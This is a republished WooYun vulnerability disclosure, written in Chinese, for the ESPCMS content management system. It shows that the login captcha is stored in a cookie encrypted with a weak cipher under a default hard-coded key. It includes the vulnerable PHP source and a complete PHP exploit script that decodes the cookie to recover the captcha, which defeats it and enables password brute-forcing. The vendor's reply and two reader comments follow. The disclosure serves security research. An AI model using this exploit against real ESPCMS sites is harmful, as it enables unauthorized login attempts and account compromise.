ESPCMS 全版验证码破解验证码等于虚设(可导致爆破等附解密exp) admin 144121文章 118评论 2015年6月10日11:56:24评论261 views字数 242阅读0分48秒阅读模式 摘要2014-09-06: 细节已通知厂商并且等待厂商处理中 2014-09-07: 厂商已经确认,细节仅向厂商公开 2014-09-10: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息) 2014-11-01: 细节向核心白帽子及相关领域专家公开 2014-11-11: 细节向普通白帽子公开 2014-11-21: 细节向实习白帽子公开 2014-12-05: 细节向公众公开 漏洞概要 关注数(7) 关注此漏洞 缺陷编号: WooYun-2014-75238 漏洞标题: ESPCMS 全版验证码破解验证码等于虚设(可导致爆破等附解密exp) 相关厂商: 易思ESPCMS企业网站管理系统 漏洞作者: 风情万种 提交时间: 2014-09-06 12:01 公开时间: 2014-12-05 12:02 漏洞类型: 设计缺陷/逻辑错误 危害等级: 高 自评Rank: 20 漏洞状态: 厂商已经确认 漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系 Tags标签: 设计缺陷/边界绕过 逻辑错误 3人收藏 漏洞详情 披露状态: 2014-09-06: 细节已通知厂商并且等待厂商处理中 2014-09-07: 厂商已经确认,细节仅向厂商公开 2014-09-10: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息) 2014-11-01: 细节向核心白帽子及相关领域专家公开 2014-11-11: 细节向普通白帽子公开 2014-11-21: 细节向实习白帽子公开 2014-12-05: 细节向公众公开 简要描述: ESPCMS 全版!验证码破解!验证码等于虚设(可导致爆破等) 详细说明: 先看验证码生成的方法!只是生成了一个6位随机数 然后加密保存到cookie中!关键点在于加密函数eccode 竟然采用的是默认的key code 区域 $fun = new functioninc(); $seccode = rand(100000, 999999); $secode = $fun->accept('secode', 'R'); if ($secode == 'ecisp_seccode') { $secode_name = 'ecisp_seccode'; } else { $secode_name = 'ecisp_home_seccode'; } $fun->setcookie($secode_name, $fun->eccode($seccode . "/t" . time(), 'ENCODE')); 文件/public/class_function.php加密函数 code 区域 function eccode($string, $operation = 'DECODE', $key = '@%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } 再看验证码验证机制 code 区域 function onlogin_into() { include_once admin_ROOT . '/public/class_seccode.php'; $linkURL = $_SERVER['HTTP_REFERER']; ................................... list($new_seccode, $expiration) = explode("/t", $this->fun->eccode($_COOKIE['ecisp_seccode'], 'DECODE')); $code = new seccode(); $code->seccodeconvert($new_seccode); ................................... } 给你们看下他的seccodeconvert函数 就是将6位随机数变成验证码的 code 区域 function seccodeconvert(&$seccode) { $s = sprintf('%04s', base_convert($seccode, 10, 20)); $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ'; $seccode = ''; for ($i = 0; $i < 4; $i++) { $unit = ord($s{$i}); $seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57]; } } 那么写个exp破解下?根据验证验证码的代码逻辑得到一下exp code 区域 <?php list($new_seccode, $expiration) = explode("/t",eccode('XHZ-d4JlPaRmYm1edquRmYY', 'DECODE')); //XHZ-d4JlPaRmYm1edquRmYY 就是$_COOKIE['ecisp_seccode']就是名为ecisp_seccode的cookie echo seccodeconvert($new_seccode); function seccodeconvert(&$seccode) { $s = sprintf('%04s', base_convert($seccode, 10, 20)); $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ'; $seccode = ''; for ($i = 0; $i < 4; $i++) { $unit = ord($s{$i}); $seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57]; } return $seccode; } function eccode($string, $operation = 'DECODE', $key = '@%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } ?> 漏洞证明: 修复方案: ..... 版权声明:转载请注明来源 风情万种@乌云 漏洞回应 厂商回应: 危害等级:中 漏洞Rank:5 确认时间:2014-09-07 08:41 厂商回复: key为随机选项,大部分的用户在使用的时候,我们建议使用mcrype加密。 最新状态: 暂无 漏洞评价: 对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值 漏洞评价(共0人评价): 登陆后才能进行评分 评价 2014-09-10 15:00 | linadmin ( 实习白帽子 | Rank:56 漏洞数:32 | 低调进取,低调为人) 1 ESPCMS的加密策略为毛被忽略 1# 回复此人 2014-12-09 23:19 | agnes0621 ( 路人 | Rank:2 漏洞数:1 | a) 1 @linadmin espcms的加解密函数已经被日烂了,随机key都能破解出来,利用加解密函数的问题能写出一大堆注入神马的漏洞 2# 回复此人 免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。 点赞 https://cn-sec.com/archives/26188.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论